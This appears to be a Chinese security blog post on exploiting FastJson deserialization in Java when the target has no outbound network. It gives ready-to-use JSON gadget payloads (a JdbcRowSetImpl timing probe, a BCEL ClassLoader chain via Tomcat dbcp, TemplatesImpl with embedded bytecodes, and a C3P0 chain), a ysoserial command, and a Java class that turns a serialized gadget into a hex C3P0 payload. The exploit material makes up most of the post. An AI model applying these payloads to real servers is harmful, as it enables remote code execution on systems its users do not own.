JAVA攻防-FastJson专题&面试不出网利用&BCEL字节码&C3P0二次&Impl链&延时判断

Ethan医生3个月前WEB安全115

 Java攻防-FastJson-不出网gadget链分析

#FastJson不出网利用:

参考:https://xz.aliyun.com/news/11938

参考:https://github.com/safe6Sec/Fastjson

 

总结:RCE不出网链全部是建立在将要执行的命令文件转成BCEL,BYTE,HEX等格式用到不同的依赖进行调用执行。


0、延时判断 是否存在漏洞

利用加载本地不存在的JNDI测试延时判断

{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://127.0.0.1:1099/badClassName", "autoCommit":true}

{"@type":"com.alibaba.fastjson.JSONObject",{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://127.0.0.1:8088/badClassName", "autoCommit":true}}""}

 

建立在不出网有漏洞:(不知道有无漏洞也可以测)

1、BCEL-Tomcat&Spring

利用Java的BCEL字节码进行绕过,字节码,就是Java源代码编译后的产物,它是一种中间代码,既不是完全的机器语言,也不是咱们写的那些高级语言代码。JVM(Java虚拟机)就是通过解释或编译这些字节码来运行咱们的程序。而BCEL字节码检测器是一个Java字节码操作库,可以用于分析、修改和创建Java类文件的字节码.

gadget链:

{

"@type": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource",

"driverClassLoader": {

"@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"

},

"driverClassName": "$$BCEL$$xxxx"

}


2TemplatesImpl

条件:JSON.parseObject(payload, Feature.SupportNonPublicField);

{

"@type": "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",

"_bytecodes": ["字节码"],

'_name': 'a.b',

'_tfactory': {},

"_outputProperties": {},

"_name": "b",

"_version": "1.0",

"allowedProtocols": "all"

}

 

3、c3p0链

目标服务器需要如下依赖

<dependency>
  <groupId>org.apache.commons</groupId>
  <artifactId>commons-collections4</artifactId>
  <version>4.0</version></dependency><dependency>
  <groupId>com.mchange</groupId>
  <artifactId>c3p0</artifactId>
  <version>0.9.5.2</version></dependency>



生成hex:java -jar ysoserial-all.jar CommonsCollections2 "open -a Calculator" > calc.ser

package com.exmple;import com.alibaba.fastjson.JSON;import com.mchange.lang.ByteUtils;import com.mchange.v2.c3p0.WrapperConnectionPoolDataSource;import java.io.*;import java.util.Arrays;public class C3P0Test {
    public static void main(String[] args) throws IOException, ClassNotFoundException {
        InputStream in = new FileInputStream("/Users/xxx/Desktop/calc.ser");
        byte[] data = toByteArray(in);
        in.close();
        String HexString = bytesToHexString(data, data.length);
        System.out.println(HexString);
        String poc ="{\"e\":{\"@type\":\"java.lang.Class\",\"val\":\"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\"},\"f\":{\"@type\":\"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\",\"userOverridesAsString\":\"HexAsciiSerializedMap:"+HexString+";\"}}";
        System.out.println(poc);

    }

    public static byte[] toByteArray(InputStream in) throws IOException {
        byte[] classBytes;
        classBytes = new byte[in.available()];
        in.read(classBytes);
        in.close();
        return classBytes;
    }

    public static String bytesToHexString(byte[] bArray, int length) {
        StringBuffer sb = new StringBuffer(length);

        for(int i = 0; i < length; ++i) {
            String sTemp = Integer.toHexString(255 & bArray[i]);
            if (sTemp.length() < 2) {
                sb.append(0);
            }

            sb.append(sTemp.toUpperCase());
        }
        return sb.toString();
    }}


条件:依赖包

{

"@type": "java.lang.Class",

"val": "com.mchange.v2.c3p0.WrapperConnectionPoolDataSource"

},

"f": {

"@type": "com.mchange.v2.c3p0.WrapperConnectionPoolDataSource",

"userOverridesAsString": "HexAsciiSerializedMap:;HEX值"

}

标签: FastJson专题

相关文章

PHP反序列化&原生内置&Exception类&SoapClient类&SimpleXMLElement

#原生自带类参考https://xz.aliyun.com/news/8792https://www.anquanke.com/post/id/264823https://blog.csdn.net/...

XSS跨站&浏览器UXSS&突变MXSS&Vue&React框架&JQuery库&写法和版本

分类:1、框架或三方库的XSS2、浏览器或插件的XSS3、客户端预览内核的XSS说明:使用框架开发的或第三方库引用操作的,默认安全写法会自带过滤,所以测试此类的应用需存在漏洞版本或不安全写法导致XSS...

PHP反序列化&魔术方法&触发条件&POP链构造&变量属性修改&黑白盒角度

PHP反序列化&魔术方法&触发条件&POP链构造&变量属性修改&黑白盒角度

1、什么是反序列化操作? - 类型转换- PHP & JavaEE & .NET & Python(见图)序列化:对象转换为数组或字符串等格式反序列化:将数组或字符串等格式转换...

PHP框架开发篇&实战ThinkPHP项目&打击微交易&源码获取&扩大战果

背景交代:旨在提高打击违法犯罪能力,请勿用于黑X用途,否则后果自负!模拟实战中如何打击某微盘系统,源码获取再到代审及后续实战检测。 搭建复现:1、目录指向绑定域名2、修改配置导入SQL文件3...

JAVA攻防-专题漏洞&反序列化&原生类引用&三方组件&JNDI注入&版本限制&审计Sink

JAVA攻防-专题漏洞&反序列化&原生类引用&三方组件&JNDI注入&版本限制&审计Sink

➢ Java攻防-专题漏洞-原生类反序列化➢ Java攻防-专题漏洞-三方组件反序列化#Java安全-反序列化-原生类序列化是将Java对象转换成字节流的过程。而反序列化是将字节流...

Web攻防-访问控制篇&水平越权&垂直越权&未授权访问&级别架构&项目插件&SRC复盘

1、水平越权:同级别的用户之间权限的跨越2、垂直越权:低级别用户到高级别用户权限的跨越3、未授权访问:通过无级别用户能访问到需验证应用 实验:https://portswigger.net/...

发表评论    

◎欢迎参与讨论,请在这里发表您的看法、交流您的观点。